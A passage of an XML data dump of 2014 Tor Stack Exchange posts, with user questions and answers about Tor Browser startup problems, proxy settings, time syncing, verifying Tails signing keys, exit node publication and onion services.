  <row Id="4377" PostTypeId="1" CreationDate="2014-10-18T15:44:41.920" Score="1" ViewCount="22" Body="&lt;p&gt;How advantageous to anonymity is it for different tor aware applications to share a tor daemon instance?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples : &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I’m running both TBB and Pond does it improve anonymity much for both TBB and Pond to use the same tor instance?  &lt;/li&gt;&#xA;&lt;li&gt;I host a hidden service, or even a relay, and occasionally run TBB, should I attempt to coax TBB to use the tor running my hidden service?  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3731" LastActivityDate="2014-10-18T15:44:41.920" Title="How hard should tor aware applications try to share tor daemons?" Tags="|tor-browser-bundle|onion-services|development|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4378" PostTypeId="2" ParentId="4079" CreationDate="2014-10-18T21:40:42.850" Score="0" Body="&lt;p&gt;I have a mac, and only see that error when I have Firefox running already.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see if you have it running(The long way, I have a pc keyboard so I don't know the mac keystrokes. I'm guessing it's Apple-Tab if not continue on), go under Utilities and launch Activity Monitor.  Make sure the cpu button/tab is selected then under process names look for Firefox.  Quit the Firefox application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also configured Vidalia to start the tor browser. So under preferences for Vidalia, in the general tab, select Start a proxy application when Tor starts.  Enter /Applications/TorBrowser.app in the text box.  Then hit okay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when you start vidalia, it will start TorBrowser automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry re-read your post.  When I installed I basically downloaded the dmg file TorBrowser-4.0-osx32_en-US.dmg.  Ran that which will mount the tor installer.  It comes up with the typical mac installer that has you drag the app into the applications folder.  Then go under applications and start Vidalia.&lt;/p&gt;&#xA;" OwnerUserId="4895" LastActivityDate="2014-10-18T21:40:42.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4380" PostTypeId="1" CreationDate="2014-10-19T04:00:04.237" Score="0" ViewCount="5402" Body="&lt;p&gt;I need to log in to this website: www.mercadolivre.com.br in my country (enter is entrar, in top of this page have link ENTRAR), but it doesn't load the page in Tor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I received this message: &quot;The connection was reset. The connection to the server was reset while the page was loading.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what causes this problem?&lt;/p&gt;&#xA;" OwnerUserId="4880" LastEditorUserId="330" LastEditDate="2014-10-20T07:45:17.427" LastActivityDate="2014-10-20T15:49:08.943" Title="What causes &quot;The connection was reset&quot; error message?" Tags="|tor-browser-bundle|torcheck|tor-cloud|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4381" PostTypeId="1" CreationDate="2014-10-19T08:10:49.947" Score="2" ViewCount="4099" Body="&lt;p&gt;When I start the Tor Browser Bundle, I need to manually maximize it every time. Is there a way to make it just start maximized?&lt;/p&gt;&#xA;" OwnerUserId="4899" LastActivityDate="2015-04-21T11:31:24.450" Title="Start Tor Browser maximized" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="5" ClosedDate="2014-12-04T15:51:45.937" ContentLicense="CC BY-SA 3.0" />
  <row Id="4382" PostTypeId="1" CreationDate="2014-10-19T08:13:12.617" Score="1" ViewCount="8033" Body="&lt;p&gt;I've visited the website of Anonymous, it has suggested to use Tor browser and set the proxy server to 127.0.0.1 and set the port to 9050, I want to ask what is the purpose of this suggestion and what is the benefit of setting it?&#xA;Btw I want to ask in ios devices, you can set the proxy of the wifi you connected to, if I set the proxy server and port to 127.0.0.1 and 9050, what will it do for me?&lt;/p&gt;&#xA;" OwnerUserId="4900" LastEditorUserId="923" LastEditDate="2014-11-27T11:12:15.317" LastActivityDate="2014-12-27T12:04:26.560" Title="Why should one set the proxy server to 127.0.0.1 and port 9050" Tags="|tor-browser-bundle|ios|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4383" PostTypeId="2" ParentId="4382" CreationDate="2014-10-19T10:12:15.730" Score="2" Body="&lt;p&gt;By default Tor listens on this port. However you of course need to have Tor up and running, else you won't be able to connect anywhere. If you set this proxy and Tor is running on a device it will connect through Tor. If you don't set the proxy your browser (or any other application) won't be using Tor at all. No anonymity will be provided, because Tor might be running, but the application won't be using it.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2014-10-19T10:12:15.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4384" PostTypeId="2" ParentId="4357" CreationDate="2014-10-19T10:25:51.280" Score="1" Body="&lt;p&gt;Vidalia isn't really supported anymore these days. There simply aren't any volunteers working on it and the development focus is now on a different approach to use Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the current stage. It &lt;em&gt;might&lt;/em&gt; change should there be any developers willing to continue the project. However currently this doesn't appear to be the case. I am sorry.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2014-10-19T10:25:51.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4385" PostTypeId="2" ParentId="4325" CreationDate="2014-10-19T10:36:10.720" Score="2" Body="&lt;p&gt;It is hard to tell what is going on. You might explicitly check whether 10060 is really reachable via a tool of your choice. There are also &lt;a href=&quot;http://canyouseeme.org/&quot; rel=&quot;nofollow&quot;&gt;web services&lt;/a&gt; to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case your Tor server is indeed reachable you might just leave it running for a while. Sometimes it just takes a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should your finding be that it is not reachable there might be other causes, for example the wrong IP address entered for port forwarding or even your provider blocking connections to that port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also as a side note: In most scenarios you don't want to forward the 9050 port. Also you really only need to allow TCP connections.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2014-10-19T10:36:10.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4387" PostTypeId="2" ParentId="4380" CreationDate="2014-10-20T03:18:24.480" Score="1" Body="&lt;p&gt;Sometimes, with slow sites, loading the page takes so long that the connection is reset. Sometimes it works simply by trying again. There could also be a problem with loading data from other hosts. You could check the 'Developer Console' in your browser.&lt;/p&gt;&#xA;" OwnerUserId="330" LastEditorUserId="112" LastEditDate="2014-10-20T15:49:08.943" LastActivityDate="2014-10-20T15:49:08.943" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4389" PostTypeId="1" CreationDate="2014-10-20T14:03:37.400" Score="1" ViewCount="694" Body="&lt;p&gt;I opened Tor today and updated as advised. The installer downloads and opens, so I saved to desktop, but now Tor won't open. Running Windows 8.1, Comodo antivirus ( which has been adjusted to allow Tor to open)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor appears briefly in Task manager, then disappears. Other browsers including Firefox open as normal&lt;/p&gt;&#xA;" OwnerUserId="4908" LastEditorUserId="88" LastEditDate="2014-10-28T19:53:41.733" LastActivityDate="2014-10-30T22:40:57.027" Title="Tor update 20 October fails to work" Tags="|windows|update|troubleshooting|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4390" PostTypeId="1" CreationDate="2014-10-21T08:40:21.917" Score="1" ViewCount="193" Body="&lt;p&gt;When we need a hidden service descriptor, we have to build a circuit to access a hidden service directory. Is this circuit a normal circuit, or is the third hop of the circuit an exit node?&lt;/p&gt;&#xA;" OwnerUserId="4914" LastEditorUserId="350" LastEditDate="2015-01-07T22:01:39.253" LastActivityDate="2015-10-05T01:11:14.287" Title="Exit node of circuit for requesting hidden service descriptor" Tags="|onion-services|circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4394" PostTypeId="1" CreationDate="2014-10-22T00:14:18.500" Score="3" ViewCount="3069" Body="&lt;p&gt;I know about NTP, but since it's communication is NOT encrypted I don't want to use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is, how can I sync time with Tor proxy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;HTP&quot; protocol can achieve this, but it's not reliable(sometimes timeout due to Tor slowness).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get reliable time from Tor's nodes quickly, anonymously, and correctly?&lt;/p&gt;&#xA;" OwnerUserId="4920" LastActivityDate="2014-12-12T10:55:21.030" Title="How can I sync computer's time with Tor?" Tags="|configuration|directory|time|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4397" PostTypeId="1" CreationDate="2014-10-22T03:07:32.210" Score="1" ViewCount="301" Body="&lt;p&gt;On the site about &lt;a href=&quot;https://tails.boum.org/doc/get/trusting_tails_signing_key/index.en.html&quot; rel=&quot;nofollow&quot;&gt;trusting the tails key&lt;/a&gt;, there is a lot of information about verifying that you have downloaded the genuine Tails signing key. I was wondering whether this paranoia is justified. To ask specifically:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;As far as is known, has anyone ever hacked the tails website in general, and particularly has anyone edited the key maliciously to fool people?&lt;/li&gt;&#xA;&lt;li&gt;Are there any recorded cases of someone being the victim of a man-in-the-middle attack while downloading the tails key?&lt;/li&gt;&#xA;&lt;li&gt;Are there any known malicious versions of tails that have some key associated with them?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(for the record, my download of the key is here: &lt;a href=&quot;http://pastebin.com/vdXiW9Vz&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/vdXiW9Vz&lt;/a&gt;. If that's not the real one, tell me :)&lt;/p&gt;&#xA;" OwnerUserId="232" LastEditorUserId="88" LastEditDate="2014-10-26T13:37:52.323" LastActivityDate="2014-10-26T13:37:52.323" Title="Is the paranoia about verifying signatures really required?" Tags="|security|tails|" AnswerCount="4" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4398" PostTypeId="1" CreationDate="2014-10-22T04:56:45.717" Score="3" ViewCount="544" Body="&lt;p&gt;Here's a &lt;a href=&quot;https://android.stackexchange.com/questions/85278/how-does-the-orxify-app-do-what-not-even-the-official-tor-client-for-android-can&quot;&gt;question&lt;/a&gt; in which the OP asks can we use the android app called &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.inetric.anonify&amp;amp;hl=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Orxify&lt;/a&gt; which claims to use the Tor network and automatically configures the ports.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that in order to anonymize the Traffic in Android you need to use the Orbot which configures all the incoming and the outgoing ports through the Orbot.But again as the OP provides is this kind of method to anonymize the traffic really good or it's just another fake application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Tor is Open source does it mean that apps like the above could actually use the Tor network to anonymize the traffic.&lt;/p&gt;&#xA;" OwnerUserId="3071" LastEditorUserId="-1" LastEditDate="2017-04-13T12:18:36.433" LastActivityDate="2021-12-15T23:00:10.060" Title="Simmilar to orbot the tor android app can we use Orxify to anonymize the Android traffic without any configuration of the ports" Tags="|anonymity|orbot|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4400" PostTypeId="1" CreationDate="2014-10-22T12:56:16.647" Score="0" ViewCount="193" Body="&lt;p&gt;If yes, is it default behaviour or some configuration parameter should be set?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, how can one determine and resolve this?&#xA;Obvious way is to write a script, that simply checks availability of some page and sends NEWNYM signal on error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe there is simpler solution?&lt;/p&gt;&#xA;" OwnerUserId="4926" LastEditorUserId="923" LastEditDate="2014-11-30T10:05:30.513" LastActivityDate="2014-12-30T10:57:58.830" Title="Will Tor automatically change path if one of relays goes down?" Tags="|relays|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4401" PostTypeId="2" ParentId="4394" CreationDate="2014-10-22T13:01:56.650" Score="3" Body="&lt;p&gt;Have a look at how Tails does &lt;a href=&quot;https://tails.boum.org/contribute/design/Time_syncing/&quot; rel=&quot;nofollow&quot;&gt;time syncing&lt;/a&gt; via the Tor consensus file.&#xA;You can also use Jacob Applebaum's &lt;a href=&quot;https://github.com/ioerror/tlsdate&quot; rel=&quot;nofollow&quot;&gt;tlsdate&lt;/a&gt; over Tor.&lt;/p&gt;&#xA;" OwnerUserId="1915" LastActivityDate="2014-10-22T13:01:56.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4406" PostTypeId="2" ParentId="4397" CreationDate="2014-10-23T06:58:47.590" Score="2" Body="&lt;p&gt;Tails website got defaced by 'accident' a while back, luckily it did not become a larger issue then that, but it does show that you do need to be careful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info here:&#xA;&lt;a href=&quot;http://news.softpedia.com/news/Tails-OS-Website-Defaced-No-Need-to-Worry-448831.shtml&quot; rel=&quot;nofollow&quot;&gt;http://news.softpedia.com/news/Tails-OS-Website-Defaced-No-Need-to-Worry-448831.shtml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is also that it can be very hard to detect that you have been a victim of a man in the middle attack unless you actually use the keys and verify your downloads.&#xA;I always download from the official website and verify with the keys, better to be safe then sorry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When exploits and such are discovered they are always posted on tor project's blog, or tails blog, and promptly fixed. I have not seen any information about compromised keys. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bugtracker for Tails is located here:&#xA;&lt;a href=&quot;https://labs.riseup.net/code/projects/tails/issues?query_id=108&quot; rel=&quot;nofollow&quot;&gt;https://labs.riseup.net/code/projects/tails/issues?query_id=108&lt;/a&gt;&#xA;and can be searched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for malicious versions of tails - there is probably some floating around various torrent sites and such (which is unsafe to use regardless since they are unofficial ).&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="112" LastEditDate="2014-10-26T08:18:09.597" LastActivityDate="2014-10-26T08:18:09.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4407" PostTypeId="1" AcceptedAnswerId="4418" CreationDate="2014-10-23T07:01:35.827" Score="2" ViewCount="258" Body="&lt;p&gt;Could you setup a VPN, but instead of using VPN servers, use the Tor network. That is, could you create a client that intercepts all your online packets and data (similarily to a VPN client) and forwards them through the Tor network (rather than a VPN server) before returning them back to the user?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems, like an interesting concept but is it possible? So far, I've managed to complete simple tests such as accessing urls over Tor, but that is about it. (I'm using Python by the way)&lt;/p&gt;&#xA;" OwnerUserId="4938" LastEditorUserId="4938" LastEditDate="2014-10-23T17:50:00.643" LastActivityDate="2014-10-23T19:45:25.043" Title="Can the Tor network be used as a VPN?" Tags="|anonymity|vpn|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4408" PostTypeId="2" ParentId="4346" CreationDate="2014-10-23T07:30:00.487" Score="1" Body="&lt;p&gt;The first step would be to understand what Tor is, which can be done here: &lt;a href=&quot;https://www.torproject.org/about/overview.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/about/overview.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When they say &quot;No info&quot; It's because they don't have any data, as per the webpage that was/is hosted on the domain:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This router maintains no logs of any of the Tor traffic, so there is little that can be done to trace either legitimate or illegitimate traffic (or to filter one from the other). Attempts to seize this router will accomplish nothing.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If all else fails, you can try emailing the owner of Xmission for clarification, they're very active with these issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many Tor exit nodes, I would recommend reading up on what Tor is, and how it operates before deciding to act.&lt;/p&gt;&#xA;" OwnerUserId="4939" LastActivityDate="2014-10-23T07:30:00.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4409" PostTypeId="2" ParentId="4364" CreationDate="2014-10-23T10:39:47.370" Score="1" Body="&lt;p&gt;You could use another proxy after Tor, which is not blocked by the service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/1232/me-tor-vpn-how&quot;&gt;Me -&amp;gt; Tor -&amp;gt; Vpn [How?]&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4937" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-10-23T10:39:47.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4410" PostTypeId="2" ParentId="4389" CreationDate="2014-10-23T11:30:35.187" Score="2" Body="&lt;p&gt;I am in the same boat. Have your seen this on the Tor site&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Windows users that are affected by Tor Browser crashes might try to&#xA;  avoid this problem by opening &quot;&lt;code&gt;about:config&lt;/code&gt;&quot; and setting the&#xA;  preference &quot;&lt;code&gt;media.directshow.enabled&lt;/code&gt;&quot; to &quot;&lt;code&gt;false&lt;/code&gt;&quot;. This is a workaround&#xA;  reported to help while the investigation is still on-going.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So enter &lt;code&gt;about:config&lt;/code&gt; into the URL bar and accept the following warning. Now you see a list of settings. Enter &lt;code&gt;media.directshow.enabled&lt;/code&gt; into the search and double-click on the entry to set it to &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4941" LastEditorUserId="88" LastEditDate="2014-10-26T14:47:34.550" LastActivityDate="2014-10-26T14:47:34.550" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4411" PostTypeId="1" CreationDate="2014-10-23T12:22:17.813" Score="3" ViewCount="1559" Body="&lt;p&gt;For the last three days I have been trying to get the Tor Browser Bundle v4 to work on Windows 8.1. I have installed and removed the program and reinstalled probably ten times. I have downloaded the package from the Tor Project website at least six times. When I try and launch the bundle, I get the spinning circle for several seconds and then it disappears. Under Task Manager I see no processes marked as either Tor or Firefox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found that the Tor Bundle will run on the Windows 8.1 machine, if it is booted into safe mode with network support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found that the Tor Bundle will run on the Windows 8.1 machine, booted normally,  if a program called Trusteer End Point Protection (Rapport) is disabled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trusteer (Rapport) is required for my on-line banking, etc. I don't know which port Trusteer uses. I suspect a port conflict but have not been able to verify that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions appreciated &lt;/p&gt;&#xA;" OwnerUserId="4942" LastEditorUserId="88" LastEditDate="2014-10-27T19:18:56.677" LastActivityDate="2016-06-22T00:12:58.943" Title="Tor Browser Bundle v4 will not launch - possible Trusteer Rapport Interference" Tags="|tor-browser-bundle|windows|" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="4412" PostTypeId="1" AcceptedAnswerId="4413" CreationDate="2014-10-23T14:47:12.363" Score="9" ViewCount="5741" Body="&lt;p&gt;I am new to Tor and currently trying to understand the architecture of onion routing. However, I came across this &lt;a href=&quot;https://www.torproject.org/projects/tordnsel.html.en&quot; rel=&quot;noreferrer&quot;&gt;TorDNSEL&lt;/a&gt; which makes it possible (for a tool using TorDNSEL) to  detect whether traffic is coming from Tor exit node or not? This way websites can check the source IP against a list of IPs of exit nodes and block the traffic accordingly. I am not entirely sure why Tor publishes the exit node IP addresses publicly. Is it how Tor is designed or is it more of a &quot;courtesy&quot; to the websites/organizations who wants to block Tor traffic?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any response would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="4944" LastEditorUserId="88" LastEditDate="2014-10-26T14:42:56.500" LastActivityDate="2020-02-01T20:46:27.143" Title="Why does Tor publish IP addresses of exit nodes?" Tags="|anonymity|exit-relays|onion-routing|dns|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="4413" PostTypeId="2" ParentId="4412" CreationDate="2014-10-23T15:23:17.170" Score="5" Body="&lt;p&gt;The list of all Tor relays and whether they are exits needs to be public, because Tor clients use this information to build circuits. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no point in trying to keep this information 'secret' because anyone could obtain the list by running a client and then publish it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For operators of exit relays, the fact that they are publicly advertised as such may help them deal with abuse reports and DMCA noticed and the like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/1962/too-much-not-anonim-exit-nodes-on-the-tor-network&quot;&gt;See this related question.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-10-23T15:23:17.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4414" PostTypeId="2" ParentId="4330" CreationDate="2014-10-23T16:52:21.007" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;why are there &quot;.onion&quot; URLs [...] Is it simply to hide the web-service from non Tor users?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Anyone can be a Tor user, so hiding from non Tor users won't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is mainly to hide the location (IP address) of the server, as part of hiding the identity of the owner. Not just from non Tor users but from everyone. (And as Harry Seventyone wrote, .onion 'domains' can not be tampered with by registrars.)&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-10-23T16:52:21.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4415" PostTypeId="2" ParentId="4353" CreationDate="2014-10-23T19:07:38.513" Score="0" Body="&lt;p&gt;I was able to reproduce this bug using Tor Browser 4.0 on Windows 7 (32-bit).  The stack trace and behavior match an open Tor Browser ticket.  See:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/13443#comment:25&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/ticket/13443#comment:25&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Browser engineers are working on a fix; the above link includes a temporary workaround.&lt;/p&gt;&#xA;" OwnerUserId="4947" LastActivityDate="2014-10-23T19:07:38.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4416" PostTypeId="2" ParentId="4411" CreationDate="2014-10-23T19:17:28.790" Score="2" Body="&lt;p&gt;I don't know of a workaround other than to temporarily disable the Rapport software.&#xA;This problem is being tracked by Tor engineers here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/13547&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/ticket/13547&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see this older, similar issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/8337&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/ticket/8337&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please contact Trustee to encourage them to fix this issue.&lt;/p&gt;&#xA;" OwnerUserId="4947" LastActivityDate="2014-10-23T19:17:28.790" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4417" PostTypeId="2" ParentId="4234" CreationDate="2014-10-23T19:25:11.653" Score="1" Body="&lt;p&gt;With Tor Browser 4.0, the Windows &quot;launcher&quot; program has been eliminated.  The installer unzips the browser files and then creates a simple shortcut to firefox.exe.  So, if you use Tor Browser 4.0, starting firefox.exe directly should work fine.&lt;/p&gt;&#xA;" OwnerUserId="4947" LastActivityDate="2014-10-23T19:25:11.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4418" PostTypeId="2" ParentId="4407" CreationDate="2014-10-23T19:37:15.107" Score="3" Body="&lt;p&gt;No, this is not possible. TOR works on higher layer than VPNs and is only able to substitute your TCP stack. It is not possible to relay raw IP packets via TOR, like you can do over VPNs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this might sound very limiting (and it is), but there's some privacy advantages here. TOR is designed to limit possibilities of traffic analysis by reducing the variance of packets. They're intentionally of the same size, with minimum number of headers (unlike TCP). It is also ensured that no unsolicited packets will be delivered to a client - all the connections must be originated from the client. This would not be possible if connection-less protocols were allowed on the network.&lt;/p&gt;&#xA;" OwnerUserId="1726" LastEditorUserId="1726" LastEditDate="2014-10-23T19:45:25.043" LastActivityDate="2014-10-23T19:45:25.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4419" PostTypeId="2" ParentId="4397" CreationDate="2014-10-23T20:24:59.430" Score="0" Body="&lt;p&gt;Yes, it is very required. You can be a victim of man-in-the-middle attack without anybody else even noticing, so relying on an empty list of publicly known hacks is not satisfactory. Tails has an ambition to be resistive even from a government's surveillance (to the highest possible extent), and these guys have no problem forging the Tails certificate and carrying out a targeted attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a good practice to always verify the download, and also check your version of the PGP key with your friends, or taken from various machines, over a period of time...&lt;/p&gt;&#xA;" OwnerUserId="1726" LastActivityDate="2014-10-23T20:24:59.430" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4421" PostTypeId="1" CreationDate="2014-10-24T13:33:13.410" Score="5" ViewCount="5455" Body="&lt;p&gt;I'm using Tor Browser 4.0 in Windows 7 32bit. When I start firefox.exe (or click the Start Tor Browser link, which is the same) a firefox.exe process starts, but no window shows up and after some time the process has a constant CPU use of 0%. Any thoughts on how to fix this? (btw, I usually have the firefox web browser open.)&lt;/p&gt;&#xA;" OwnerUserId="4952" LastEditorUserId="350" LastEditDate="2014-10-24T16:17:37.780" LastActivityDate="2016-06-15T18:23:31.033" Title="Tor browser 4.0 doesn't start but process is running (win7)" Tags="|tor-browser-bundle|windows|startup|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4422" PostTypeId="1" CreationDate="2014-10-24T16:58:46.120" Score="1" ViewCount="272" Body="&lt;p&gt;I'd like to know if is it possible to maintain a specific IP address in a specific city and/or state (thus, maintain a specific exit node), so that when I close the Tor browser and then reopen it, I still have the same IP as last time?&lt;/p&gt;&#xA;" OwnerUserId="4953" LastEditorUserId="923" LastEditDate="2014-10-27T17:02:07.177" LastActivityDate="2014-11-09T01:12:22.493" Title="Is it possible to favour a specific IP address?" Tags="|support|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4423" PostTypeId="1" CreationDate="2014-10-24T16:59:09.143" Score="2" ViewCount="106" Body="&lt;p&gt;Is it possible right now, with the current version of Tor, to use a distributed web of trust in Hidden Sevices' public keys, meaning:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Public keys are uploaded to public keyservers&lt;/li&gt;&#xA;&lt;li&gt;Users can search for them by human meaningful names&lt;/li&gt;&#xA;&lt;li&gt;Users can download keys, sign them and share certificates, thus growing web of trust&lt;/li&gt;&#xA;&lt;li&gt;.onion addresses may then (RLY?) be derived locally on user side from keys&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In effect users would have&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Convenient bookmark lists, with human meaningful names to use in browsers and shareable peer-certified bookmarks.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Easy-to-check trust level for a particular Hidden Service a user is interested in.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;By “is possible right now” I mean “end-user class software for Tor key managing does exist” (&lt;a href=&quot;https://tor.stackexchange.com/questions/1324/custom-cryptography-for-hidden-services&quot;&gt;AFAIK, Tor still doesn't use OpenPGP&lt;/a&gt;, so GnuPG, etc. won't do). Getting “1.” done seems to be pretty trivial, if only (RLY?) is true.&lt;/p&gt;&#xA;" OwnerUserId="1838" LastActivityDate="2014-10-24T16:59:09.143" Title="Web of trust for Hidden Services keys" Tags="|onion-services|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4424" PostTypeId="1" AcceptedAnswerId="4427" CreationDate="2014-10-24T18:15:23.387" Score="1" ViewCount="148" Body="&lt;p&gt;I have read and understand that you should not open files like PDF and Microsoft Office while using Tor because they can access the internet and reveal your real IP address without your knowledge. I occasionally visit links to Microsoft Word documents (.docx) that then contain URLs in them that I would like to open using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have noticed that Word opens in &quot;Protected View,&quot; whenever it opens a file from the internet. Does &quot;Protected View&quot; prevent the files from accessing the internet? Is there any other reason why opening a file in &quot;Protected View&quot; would be unsafe or not anonymous?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I run Tor on Windows 7 and 8/8.1 machines with Microsoft Office 2010 and 2013.&lt;/p&gt;&#xA;" OwnerUserId="3663" LastActivityDate="2014-10-24T20:18:16.793" Title="Does opening files in Office &quot;Protected View&quot; 